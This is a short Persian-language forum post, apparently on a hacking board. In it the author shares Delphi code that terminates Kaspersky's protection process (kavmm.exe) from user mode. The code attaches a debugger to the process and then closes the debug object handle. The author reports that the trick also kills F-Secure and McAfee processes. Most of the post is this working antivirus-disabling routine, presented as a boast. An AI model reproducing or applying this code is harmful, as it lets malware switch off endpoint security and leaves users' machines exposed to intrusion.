بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛ :wise1:
Function DebugKillProcess(ProcessId: dword): boolean;
var
pHandle: dword;
myPID: dword;
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
r: dword;
begin
Result := false;
myPID := GetCurrentProcessId();
if not EnableDebugPrivilege() then Exit;
if DbgUiConnectToDbg() <> STATUS_SUCCESS then Exit;
pHandle := OpenProcessEx(ProcessId);
if DbgUiDebugActiveProcess(pHandle) <> STATUS_SUCCESS then Exit;
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo = nil then Exit;
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ProcessId = myPID) and
(HandlesInfo^.Information[r].ObjectTypeNumber = $8)
then begin
CloseHandle(HandlesInfo^.Information[r].Handle);
Result := true;
break;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
end;
DebugKillProcess(GetProcessId('kavmm.exe'));
با اینکه بقیه آنتی ویروسها ارزش صرف چنین وقت ی رو ندارند لیکن روی F-Secure و MCAfee هم جواب داد ؛ احتمالا" بر و بچه های KAV باید یک دوجین API دیگه رو هم به لیست Interceptor شون اضافه کنند ، چون لغو عملکرد ExitProcess و ZwTerminateProcess به تنهائی مشکلی رو حل نمیکنه .
:wise2: